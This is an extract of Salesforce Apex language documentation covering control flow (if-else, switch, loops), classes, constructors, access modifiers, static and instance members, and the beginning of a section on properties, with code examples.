Apex provides if-else statements, switch statements, and loops to control the flow of code execution. Statements are generally executed line by line, in the order they appear. With control flow statements, you can make Apex code execute based on a certain condition, or have a block of code execute repeatedly.

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java.

Switch Statements

Apex provides a `switch` statement that tests whether an expression matches one of several values and branches accordingly.

Loops

Apex supports five types of procedural loops.

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java.

```
if ([Boolean_condition])
    // Statement 1
else
    // Statement 2
```

The `else` portion is always optional, and always groups with the closest `if`. For example:

```
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
```

is equivalent to:

```
Integer x, sign;
// Your code
if (x <= 0) {
    if (x == 0) {
        sign = 0;
    } else {
        sign = -1;
    }
}
```

Repeated `else if` statements are also allowed. For example:

```
if (place == 1) {
    medal_color = 'gold';
} else if (place == 2) {
    medal_color = 'silver';
} else if (place == 3) {
    medal_color = 'bronze';
} else {
    medal_color = null;
}
```

Switch Statements

Apex provides a `switch` statement that tests whether an expression matches one of several values and branches accordingly.

The syntax is:

```
switch on expression {
    when value1 { // when block 1
        // code block 1
    }
    when value2 { // when block 2
```

```

        // code block 2
    }
    when value3 { // when block 3
        // code block 3
    }
    when else { // default block, optional
        // code block 4
    }
}

```

The `when` value can be a single value, multiple values, or `sObject` types. For example:

```
when value1 {
}
```

```
when value2, value3 {
}
```

```
when TypeName VariableName {
}
```

The `switch` statement evaluates the expression and executes the code block for the matching `when` value. If no value matches, the `when else` code block is executed. If there isn't a `when else` block, no action is taken.

 **Note:** There is no fall-through. After the code block is executed, the `switch` statement exits.

Apex `switch` statement expressions can be one of the following types.

- Integer
- Long
- `sObject`
- String
- Enum

When Blocks

Each `when` block has a value that the expression is matched against. These values can take one of the following forms.

- `when literal {}` (a `when` block can have multiple, comma-separated literal clauses)
- `when SObjectType identifier {}`
- `when enum_value {}`

The value `null` is a legal value for all types.

Each `when` value must be unique. For example, you can use the literal `x` only in one `when` block clause. A `when` block is matched one time at most.

When Else Block

If no `when` values match the expression, the `when else` block is executed.

 **Note:** Salesforce recommends including a `when else` block, especially with enum types, although it isn't required. When you build a `switch` statement using enum values provided by a managed package, your code might not behave as expected if a

new version of the package contains additional enum values. You can prevent this problem by including a `when else` block to handle unanticipated values.

If you include a `when else` block, it must be the last block in the `switch` statement.

Examples with Literals

You can use literal `when` values for switching on Integer, Long, and String types. String clauses are case-sensitive. For example, "orange" is a different value than "ORANGE."

Single Value Example

The following example uses integer literals for `when` values.

```
switch on i {
  when 2 {
    System.debug('when block 2');
  }
  when -3 {
    System.debug('when block -3');
  }
  when else {
    System.debug('default');
  }
}
```

Null Value Example

Because all types in Apex are nullable, a `when` value can be `null`.

```
switch on i {
  when 2 {
    System.debug('when block 2');
  }
  when null {
    System.debug('bad integer');
  }
  when else {
    System.debug('default ' + i);
  }
}
```

Multiple Values Examples

The Apex `switch` statement doesn't fall-through, but a `when` clause can include multiple literal values to match against. You can also nest Apex `switch` statements to provide multiple execution paths within a `when` clause.

```
switch on i {
  when 2, 3, 4 {
    System.debug('when block 2 and 3 and 4');
  }
  when 5, 6 {
    System.debug('when block 5 and 6');
  }
  when 7 {
    System.debug('when block 7');
  }
}
```

```
    when else {  
        System.debug('default');  
    }  
}
```

Method Example

Instead of switching on a variable expression, the following example switches on the result of a method call.

```
switch on someInteger(i) {  
    when 2 {  
        System.debug('when block 2');  
    }  
    when 3 {  
        System.debug('when block 3');  
    }  
    when else {  
        System.debug('default');  
    }  
}
```

Example with sObjects

Switching on an sObject value allows you to implicitly perform `instanceof` checks and casting. For example, consider the following code that uses if-else statements.

```
if (subject instanceof Account) {  
    Account a = (Account) subject;  
    System.debug('account ' + a);  
} else if (subject instanceof Contact) {  
    Contact c = (Contact) subject;  
    System.debug('contact ' + c);  
} else {  
    System.debug('default');  
}
```

You can replace and simplify this code with the following `switch` statement.

```
switch on subject {  
    when Account a {  
        System.debug('account ' + a);  
    }  
    when Contact c {  
        System.debug('contact ' + c);  
    }  
    when null {  
        System.debug('null');  
    }  
    when else {  
        System.debug('default');  
    }  
}
```



Note: You can use only one sObject type per when block.

Example with Enums

A `switch` statement that uses enum when values doesn't require a `when else` block, but it is recommended. You can use multiple enum values per `when` block clause.

```
switch on season {
  when WINTER {
    System.debug('boots');
  }
  when SPRING, SUMMER {
    System.debug('sandals');
  }
  when else {
    System.debug('none of the above');
  }
}
```

Loops

Apex supports five types of procedural loops.

These types of procedural loops are supported:

- `do {statement} while (Boolean_condition);`
- `while (Boolean_condition) statement;`
- `for (initialization; Boolean_exit_condition; increment) statement;`
- `for (variable : array_or_set) statement;`
- `for (variable : [inline_soql_query]) statement;`

All loops allow for loop control structures:

- `break;` exits the entire loop
- `continue;` skips to the next iteration of the loop

1. [Do-While Loops](#)
2. [While Loops](#)
3. [For Loops](#)

Do-While Loops

The Apex `do-while` loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:

```
do {
  code_block
} while (condition);
```



Note: Curly braces (`{ }`) are always required around a `code_block`.

As in Java, the Apex `do-while` loop does not check the Boolean condition statement until after the first loop is executed. Consequently, the code block always runs at least once.

As an example, the following code outputs the numbers 1 - 10 into the debug log:

```
Integer count = 1;

do {
    System.debug(count);
    count++;
} while (count < 11);
```

While Loops

The Apex **while** loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:

```
while (condition) {
    code_block
}
```

 **Note:** Curly braces ({ }) are required around a **code_block** only if the block contains more than one statement.

Unlike **do-while**, the **while** loop checks the Boolean condition statement before the first loop is executed. Consequently, it is possible for the code block to never execute.

As an example, the following code outputs the numbers 1 - 10 into the debug log:

```
Integer count = 1;

while (count < 11) {
    System.debug(count);
    count++;
}
```

For Loops

Apex supports three variations of the **for** loop:

- The traditional **for** loop:

```
for (init_stmt; exit_condition; increment_stmt) {
    code_block
}
```

- The list or set iteration **for** loop:

```
for (variable : list_or_set) {
    code_block
}
```

where **variable** must be of the same primitive or sObject type as **list_or_set**.

- The SOQL **for** loop:

```
for (variable : [soql_query]) {
    code_block
}
```

or

```
for (variable_list : [soql_query]) {
    code_block
}
```

Both **variable** and **variable_list** must be of the same sObject type as is returned by the **soql_query**.

 **Note:** Curly braces ({ }) are required around a **code_block** only if the block contains more than one statement.

Each is discussed further in the sections that follow.

[Traditional For Loops](#)

[List or Set Iteration for Loops](#)

[Iterating Collections](#)

Traditional For Loops

The traditional **for** loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:

```
for (init_stmt; exit_condition; increment_stmt) {
    code_block
}
```

When executing this type of **for** loop, the Apex runtime engine performs the following steps, in order:

1. Execute the **init_stmt** component of the loop. Note that multiple variables can be declared and/or initialized in this statement, separated by commas.
2. Perform the **exit_condition** check. If true, the loop continues. If false, the loop exits.
3. Execute the **code_block**.
4. Execute the **increment_stmt** statement.
5. Return to Step 2.

As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, **j**, is included to demonstrate the syntax:

```
for (Integer i = 0, j = 0; i < 10; i++) {
    System.debug(i+1);
}
```

List or Set Iteration for Loops

The list or set iteration **for** loop iterates over all the elements in a list or set. Its syntax is:

```
for (variable : list_or_set) {
    code_block
}
```

where **variable** must be of the same primitive or sObject type as **list_or_set**.

When executing this type of **for** loop, the Apex runtime engine assigns **variable** to each element in **list_or_set**, and runs the **code_block** for each value.

For example, the following code outputs the numbers 1 - 10 to the debug log:

```
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};

for (Integer i : myInts) {
    System.debug(i);
}
```

Iterating Collections

Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.

Adding Elements During Iteration

To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original after you finish iterating the collection.

Removing Elements During Iteration

To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements you wish to remove to a temporary list and remove them after you finish iterating the collection.



Note: The `List.remove` method performs linearly. Using it to remove elements has time and resource implications.

To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you finish iterating the collection.

Classes, Objects, and Interfaces

Apex classes are modeled on their counterparts in Java. You'll define, instantiate, and extend classes, and you'll work with interfaces, Apex class versions, properties, and other related class concepts.

1. [Classes](#)

As in Java, you can create classes in Apex. A *class* is a template or blueprint from which objects are created. An *object* is an instance of a class.

2. [Interfaces](#)

An *interface* is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface.

3. [Keywords](#)

Apex provides the keywords `final`, `instanceof`, `super`, `this`, `transient`, `with sharing` and `without sharing`.

4. [Annotations](#)

An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with an initial `@` symbol, followed by the appropriate keyword.

5. [Classes and Casting](#)

In general, all type information is available at run time. This means that Apex enables *casting*, that is, a data type of one class can be assigned to a data type of another class, but only if one class is a subclass of the other class. Use casting when you want to convert an object from one data type to another.

6. [Differences Between Apex Classes and Java Classes](#)

Apex classes and Java classes work in similar ways, but there are some significant differences.

7. [Class Definition Creation](#)

Use the class editor to create a class in Salesforce.

8. [Namespace Prefix](#)

The Salesforce application supports the use of *namespace prefixes*. Namespace prefixes are used in managed AppExchange packages to differentiate custom object and field names from names used by other organizations.

9. [Apex Code Versions](#)

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce API version.

10. [Lists of Custom Types and Sorting](#)

Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.

11. [Using Custom Types in Map Keys and Sets](#)

You can add instances of your own Apex classes to maps and sets.

Classes

As in Java, you can create classes in Apex. A *class* is a template or blueprint from which objects are created. An *object* is an instance of a class.

For example, the `PurchaseOrder` class describes an entire purchase order, and everything that you can do with a purchase order. An instance of the `PurchaseOrder` class is a specific purchase order that you send or receive.

All objects have *state* and *behavior*, that is, things that an object knows about itself, and things that an object can do. The state of a `PurchaseOrder` object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as important. The behavior of a `PurchaseOrder` object—what it can do—includes checking inventory, shipping a product, or notifying a customer.

A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's `Name` or `Type`. Since these variables are associated with a class and are members of it, they are commonly referred to as *member variables*. Methods are used to control behavior, such as `getOtherQuotes` or `copyLineItems`.

A class can contain other classes, exception types, and initialization code.

An *interface* is like a class in which none of the methods have been implemented—the method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface.

For more general information on classes, objects, and interfaces, see <http://java.sun.com/docs/books/tutorial/java/concepts/index.html>

In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database operations. See [Triggers](#).

1. [Apex Class Definition](#)

2. [Class Variables](#)

3. [Class Methods](#)

Learn how to define Apex methods. Understand the differences between passing method arguments by value and passing method arguments by reference.

4. [Using Constructors](#)

5. [Access Modifiers](#)

6. [Static and Instance Methods, Variables, and Initialization Code](#)

In Apex, you can have *static* methods, variables, and initialization code. However, Apex classes can't be static. You can also have *instance* methods, member variables, and initialization code, which have no modifiers, and *local* variables.

7. [Apex Properties](#)

8. [Extending a Class](#)

You can extend a class to provide more specialized behavior.

9. [Extended Class Example](#)

Apex Class Definition

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class. You can only have inner classes one level deep. For example:

```
public class myOuterClass {
    // Additional myOuterClass code here
    class myInnerClass {
        // myInnerClass code here
    }
}
```

To define a class, specify the following:

1. Access modifiers:

- You must use one of the access modifiers (such as `public` or `global`) in the declaration of a top-level class.
- You don't have to use an access modifier in the declaration of an inner class.

2. Optional definition modifiers (such as `virtual`, `abstract`, and so on)

3. Required: The keyword `class` followed by the name of the class

4. Optional extensions or implementations or both

 **Note:** Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see [Object Reference for Salesforce](#).

Use the following syntax for defining classes:

```
private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
    // The body of the class
}
```

- The `private` access modifier declares that this class is only known locally, that is, only by this section of code. This is the default access for inner classes—that is, if you don't specify an access modifier for an inner class, it's considered `private`. This keyword can only be used with inner classes (or with top-level test classes marked with the `@IsTest` annotation).

- The `public` access modifier declares that this class is visible in your application or namespace.
- The `global` access modifier declares that this class is known by all Apex code everywhere. All classes containing methods defined with the `webservice` keyword must be declared as `global`. If a method or inner class is declared as `global`, the outer, top-level class must also be defined as `global`.
- The `with sharing` and `without sharing` keywords specify the sharing mode for this class. For more information, see [Use the with sharing, without sharing, and inherited sharing Keywords](#) on page 90.
- The `virtual` definition modifier declares that this class allows extension and overrides. You can't override a method with the `override` keyword unless the class has been defined as `virtual`.
- The `abstract` definition modifier declares that this class contains abstract methods, that is, methods that only have their signature declared and no body defined.

 Note:

- You can't add an abstract method to a global class after the class has been uploaded in a Managed - Released package version.
- If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have an implementation.
- You can't override a public or protected virtual method of a global class of an installed managed package.

For more information about managed packages, see [Managed Package Types](#) on page 765.

A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex doesn't support multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see [Interfaces](#) on page 82.

For more information about method and variable access modifiers, see [Access Modifiers](#) on page 69.

Versioned Behavior Changes

In API version 65.0 and later, an abstract or override method requires a `protected`, `public`, or `global` access modifier. If one of these access modifiers isn't explicitly included in the method declaration, then method access defaults to `private`. Private access is invalid for these method types because the implementing class can't access the abstract method. Therefore, if you attempt to declare an abstract or override method without an allowed access modifier, you get the compilation error `Abstract methods require at least one of the following: global, public, protected`.

In API version 61.0 and later, private methods are no longer overridden by an instance method with the same signature in a subclass. This change is versioned, so to prevent the override, update your abstract or virtual classes that contain private methods to API version 61.0 or later. In API version 60.0 and earlier, if a subclass declares an instance method with the same signature as a private method in one of its superclasses, the subclass method overrides the private method.

SEE ALSO:

[Documentation Typographical Conventions](#)

[Salesforce Help: Manage Apex Classes](#)

[Salesforce Help: Developer Console Functionality](#)

Class Variables

To declare a variable, specify the following:

- Optional: Modifiers, such as `public` or `final`, as well as `static`.
- Required: The data type of the variable, such as String or Boolean.
- Required: The name of the variable.

- Optional: The value of the variable.

Use the following syntax when defining a variable:

```
[public | private | protected | global] [final] [static] data_type variable_name
[= value]
```

For example:

```
private static final Integer MY_INT;
private final Integer i = 1;
```

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@namespaceAccessible`. For accessibility considerations, see [NamespaceAccessible Annotation](#). For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

Class Methods

Learn how to define Apex methods. Understand the differences between passing method arguments by value and passing method arguments by reference.

Apex methods are comprised of these elements.

- Optional: Modifiers, such as `public` or `protected`.
- Required: The data type of the value returned by the method, such as `String` or `Integer`. Use `void` if the method doesn't return a value.
- Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses `()`. If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
- Required: The body of the method, enclosed in braces `{ }`. All the code for the method, including any local variable declarations, is contained here.



Note: All Apex types implement the `Object` class methods.

To define a method, use this syntax.

```
[public | private | protected | global] [override] [static] data_type method_name (input parameters) {
    // The body of the method
}
```



Note: You can use `override` to override methods only in classes that have been defined as `virtual` or `abstract`.

This method has the correct syntax.:

```
public static Integer getInt() {
    return MY_INT;
}
```

As in Java, methods that return values can also be run as a statement if their results aren't assigned to another variable.

User-defined methods:

- Can be used anywhere that system methods are used.
- Can be recursive.

- Can have side effects, such as DML `insert` statements that initialize sObject record IDs. See [Apex DML Statements](#).
- Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so forward declarations aren't needed.
- Can be overloaded. For example, a method named `example` can be implemented in two ways, one with a single Integer parameter and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects the appropriate implementation to execute. If the parser can't find an exact match, it then seeks an approximate match using type coercion rules. For more information on data conversion, see [Rules of Conversion](#) on page 52.

 **Note:** If the parser finds multiple approximate matches, a parse-time exception is generated.

- Methods with a void return type are typically invoked as a standalone statement in Apex code. For example:

```
System.debug('Here is a note for the log.');
```

- Can have statements where the return values are run as a statement if their results aren't assigned to another variable. This rule is the same in Java.

 **Note:** All user-defined types support the `clone` method. The `clone()` method in Apex is based on the [clone method in Java](#).

Passing Method Arguments by Value

In Apex, primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.

Non-primitive data type arguments, such as sObjects, are passed into methods by reference. Therefore, when the method returns, the passed-in argument still references the same object as before the method call. Within the method, the reference can't be changed to point to another object but the values of the object's fields can be changed.

These examples demonstrate the differences between passing primitive and non-primitive data type arguments into methods.

Example: Passing Primitive Data Type Arguments

This example shows how a primitive argument of type String is passed by value into another method. The `debugStatusMessage` method in this example creates a String variable, `msg`, and assigns it a value. It then passes this variable as an argument to another method, which modifies the value of this String. However, because String is a primitive type, it's passed by value, and when the method returns, the value of the original variable, `msg`, is unchanged. An assert statement verifies that the value of `msg` is still the old value.

```
public class PassPrimitiveTypeExample {
    public static void debugStatusMessage() {
        String msg = 'Original value';
        processString(msg);
        // The value of the msg variable didn't
        // change; it is still the old value.
        System.assertEquals(msg, 'Original value');
    }

    public static void processString(String s) {
        s = 'Modified value';
    }
}
```

Example: Passing Non-Primitive Data Type Arguments

This example shows how a List argument is passed by reference into the `reference()` method and is modified. It then shows, in the `referenceNew()` method, that the List argument can't be changed to point to another List object.

First, the `createTemperatureHistory` method creates a variable, `fillMe`, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded temperature values. When the method returns, an assert statement verifies that the contents of the original List variable has changed and now contains five values. Next, the example creates a second List variable, `createMe`, and passes it to another method. The called method assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original `createMe` variable doesn't point to the new List but still points to the original List, which is empty. An assert statement verifies that `createMe` contains no values.

```
public class PassNonPrimitiveTypeExample {

    public static void createTemperatureHistory() {
        List<Integer> fillMe = new List<Integer>();
        reference(fillMe);
        // The list is modified and contains five items
        // as expected.
        System.assertEquals(fillMe.size(), 5);

        List<Integer> createMe = new List<Integer>();
        referenceNew(createMe);
        // The list is not modified because it still points
        // to the original list, not the new list
        // that the method created.
        System.assertEquals(createMe.size(), 0);
    }

    public static void reference(List<Integer> m) {
        // Add rounded temperatures for the last five days.
        m.add(70);
        m.add(68);
        m.add(75);
        m.add(80);
        m.add(82);
    }

    public static void referenceNew(List<Integer> m) {
        // Assign argument to a new List of
        // five temperature values.
        m = new List<Integer>{55, 59, 62, 60, 63};
    }
}
```

Versioned Behavior Changes

In API version 65.0 and later, an abstract or override method requires a `protected`, `public`, or `global` access modifier. If one of these access modifiers isn't explicitly included in the method declaration, then method access defaults to `private`. Private access is invalid for these method types because the implementing class can't access the abstract method. Therefore, if you attempt to declare an abstract or override method without an allowed access modifier, you get the compilation error `Abstract methods require at least one of the following: global, public, protected`.

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@namespaceAccessible`. For accessibility considerations, see [NamespaceAccessible Annotation](#). For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

SEE ALSO:

[Primitive Data Types](#)

Using Constructors

A *constructor* is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every class. If a class doesn't have a user-defined constructor, a default, no-argument constructor with the same visibility as the containing class is generated.

The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and it is not inherited by the object created from it.

After you write the constructor for a class, you must use the `new` keyword in order to instantiate an object from that class, using that constructor. For example, using the following class:

```
public class TestObject {  
  
    // The no argument constructor  
    public TestObject() {  
        // more code here  
    }  
}
```

A new object of this type can be instantiated with this code.

```
TestObject myTest = new TestObject();
```

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.

If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must create your own no-argument constructor in your code. After you create a constructor for a class, you no longer have access to the default, no-argument public constructor.

In Apex, a constructor can be *overloaded*, that is, there can be more than one constructor for a class, each having different parameters. This example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument. It also illustrates how one constructor calls another constructor using the `this(...)` syntax, also known as *constructor chaining*.

```
public class TestObject2 {  
  
    private static final Integer DEFAULT_SIZE = 10;  
  
    Integer size;  
  
    //Constructor with no arguments  
    public TestObject2() {  
        this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor  
    }  
  
    // Constructor with one argument  
    public TestObject2(Integer ObjectSize) {  
        size = ObjectSize;  
    }  
}
```



```

    }
}

```

New objects of this type can be instantiated with this code.

```

TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();

```

Every constructor that you create for a class must have a different argument list. In this example, all of the constructors are possible.

```

public class Leads {

    // First a no-argument constructor
    public Leads () {}

    // A constructor with one argument
    public Leads (Boolean call) {}

    // A constructor with two arguments
    public Leads (String email, Boolean call) {}

    // Though this constructor has the same arguments as the
    // one above, they are in a different order, so this is legal
    public Leads (Boolean call, String email) {}
}

```

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names, such as `String`, `Boolean`, or `Account`. If you define a variable whose type is a class, any object you assign to it must be an instance of that class or subclass.

Access Modifiers

Apex allows you to use the `private`, `protected`, `public`, and `global` access modifiers when defining methods and variables.

While triggers and anonymous blocks can also use these access modifiers, they aren't as useful in smaller portions of Apex. For example, declaring a method as `global` in an anonymous block doesn't enable you to call it from outside of that code.

For more information on class access modifiers, see [Apex Class Definition](#) on page 63.



Note: Methods defined in an interface have the same access modifier as the interface (`public` or `global`). For more information, see [Interfaces](#).

By default, a method or variable is visible only to the Apex code *within the defining class*. Explicitly specify a method or variable as `public` in order for it to be available to other classes in the same application namespace (see [Namespace Prefix](#)). You can change the level of visibility by using the following access modifiers:

private

This access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it's defined. If you don't specify an access modifier, the method or variable is `private`.

protected

This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the defining Apex class. You can only use this access modifier for instance methods and member variables. This setting is strictly more permissive than the default (`private`) setting, just like Java.

public

This means that the method or variable is accessible by all Apex within a specific package. For accessibility by all second-generation (2GP) managed packages that share a namespace, use `public` with the `@NamespaceAccessible` annotation. Using the public access modifier in no-namespace packages implicitly renders the Apex code as `@NamespaceAccessible`.



Note: In Apex, the `public` access modifier isn't the same as it is in Java. This was done to discourage joining applications, to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you must use the `global` access modifier.

For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

global

This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same application. This access modifier must be used for any method that must be referenced outside of the application, either in SOAP API or by other Apex code. If you declare a method or variable as `global`, you must also declare the class that contains it as `global`.



Note: We recommend using the `global` access modifier rarely, if at all. Cross-application dependencies are difficult to maintain.

To use the `private`, `protected`, `public`, or `global` access modifiers, use the following syntax:

```
[ (none) | private | protected | public | global ] declaration
```

For example:

```
// private variable s1
private string s1 = '1';

// public method getsz()
public string getsz() {
    ...
}
```

Versioned Behavior Changes

In API version 65.0 and later, an abstract or override method requires a `protected`, `public`, or `global` access modifier. If one of these access modifiers isn't explicitly included in the method declaration, then method access defaults to `private`. Private access is invalid for these method types because the implementing class can't access the abstract method. Therefore, if you attempt to declare an abstract or override method without an allowed access modifier, you get the compilation error `Abstract methods require at least one of the following: global, public, protected`.

Static and Instance Methods, Variables, and Initialization Code

In Apex, you can have *static* methods, variables, and initialization code. However, Apex classes can't be static. You can also have *instance* methods, member variables, and initialization code, which have no modifiers, and *local* variables.

Characteristics

Static methods, variables, and initialization code have these characteristics.

- They're associated with a class.
- They're allowed only in outer classes.
- They're initialized only when a class is loaded.

- They aren't transmitted as part of the view state for a Visualforce page.

Instance methods, member variables, and initialization code have these characteristics.

- They're associated with a particular object.
- They have no definition modifier.
- They're created with every object instantiated from the class in which they're declared.

Local variables have these characteristics.

- They're associated with the block of code in which they're declared.
- They must be initialized before they're used.

The following example shows a local variable whose scope is the duration of the `if` code block.

```
Boolean myCondition = true;
if (myCondition) {
    integer localVariable = 10;
}
```

Using Static Methods and Variables

You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or variable doesn't require an instance of the class in order to run.

Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are executed. These items are handled in the order in which they appear in the class.

A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method is only associated with a class, it can't access the instance member variable values of its class.

A static variable is static only within the scope of the Apex transaction. It's not static across the server or the entire organization. The value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.

To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.

Suppose that you had the following class.

```
public class P {
    public static boolean firstRun = true;
}
```

A trigger that uses this class could then selectively fail the first run of the trigger.

```
trigger T1 on Account (before delete, after delete, after undelete) {
    if (Trigger.isBefore) {
        if (Trigger.isDelete) {
            if (p.firstRun) {
                Trigger.old[0].addError('Before Account Delete Error');
                p.firstRun=false;
            }
        }
    }
}
```

A static variable defined in a trigger doesn't retain its value between different trigger contexts within the same transaction, such as between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class member variables and check their static values.

A class static variable can't be accessed through an instance of that class. If class `MyClass` has a static variable `myStaticVariable`, and `myClassInstance` is an instance of `MyClass`, `myClassInstance.myStaticVariable` isn't a legal expression.

The same is true for instance methods. If `myStaticMethod()` is a static method, `myClassInstance.myStaticMethod()` isn't legal. Instead, refer to those static identifiers using the class: `MyClass.myStaticVariable` and `MyClass.myStaticMethod()`.

Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods and variables on the class of the same name. For example, this method works if you comment out the `String` line. But if the `String` line is included the method doesn't compile, because Salesforce reports that the method doesn't exist or has an incorrect signature.

```
public static void method() {
    String Database = '';
    Database.insert(new Account());
}
```

An inner class behaves like a static Java inner class, but doesn't require the `static` keyword. An inner class can have instance member variables like an outer class, but there's no implicit pointer to an instance of the outer class (using the `this` keyword).

 **Note:** In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same HTTP request. Static variables aren't reset within the multiple trigger invocations for the same Bulk API request.

Using Instance Methods and Variables

Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.

Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.

```
public class Plotter {

    // This inner class manages the points
    class Point {
        Double x;
        Double y;

        Point(Double x, Double y) {
            this.x = x;
            this.y = y;
        }

        Double getXCoordinate() {
            return x;
        }

        Double getYCoordinate() {
            return y;
        }
    }
}
```

```
List<Point> points = new List<Point>();

public void plot(Double x, Double y) {
    points.add(new Point(x, y));
}

// The following method takes the list of points and does something with them
public void render() {
}
}
```

Using Initialization Code

Instance initialization code is a block of code in the following form that is defined in a class.

```
{

    //code body

}
```

The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before the constructor.

If you don't want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables. In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static initialization block runs only one time, regardless of how many times you access the class that contains it.

Static initialization code is a block of code preceded with the keyword `static`.

```
static {

    //code body

}
```

Similar to other static code, a static initialization code block is only initialized one time on the first use of the class.

A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code blocks are executed in the order in which they appear in the file, just as they are in Java.

You can use static initialization code to initialize static final variables and to declare information that's static, such as a map of values. For example:

```
public class MyClass {

    class RGB {

        Integer red;
        Integer green;
        Integer blue;

        RGB(Integer red, Integer green, Integer blue) {
            this.red = red;
            this.green = green;
            this.blue = blue;
        }
    }
}
```

```

    }
}

static Map<String, RGB> colorMap = new Map<String, RGB>();

static {
    colorMap.put('red', new RGB(255, 0, 0));
    colorMap.put('cyan', new RGB(0, 255, 255));
    colorMap.put('magenta', new RGB(255, 0, 255));
}
}

```

Versioned Behavior Changes

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@namespaceAccessible`. For accessibility considerations, see [NamespaceAccessible Annotation](#). For more information on namespace-based visibility, see [Namespace-Based Visibility for Apex Classes in Second-Generation Packages](#).

Apex Properties

An Apex *property* is similar to a variable; however, you can do additional things in your code to a property value before it's accessed or returned. Properties can be used to validate data before a change is made, to prompt an action when data is changed (such as altering the value of other member variables), or to expose data that is retrieved from some other source (such as another class).

Property definitions include one or two code blocks, representing a *get accessor* and a *set accessor*:

- The code in a get accessor executes when the property is read.
- The code in a set accessor executes when the property is assigned a new value.

If a property has only a get accessor, it's considered read-only. If a property has only a set accessor, it's considered write-only. A property with both accessors is considered read-write.

To declare a property, use the following syntax in the body of a class:

```

Public class BasicClass {

    // Property declaration
    access_modifier return_type property_name {
        get {
            //Get accessor code block
        }
        set {
            //Set accessor code block
        }
    }
}

```

Where:

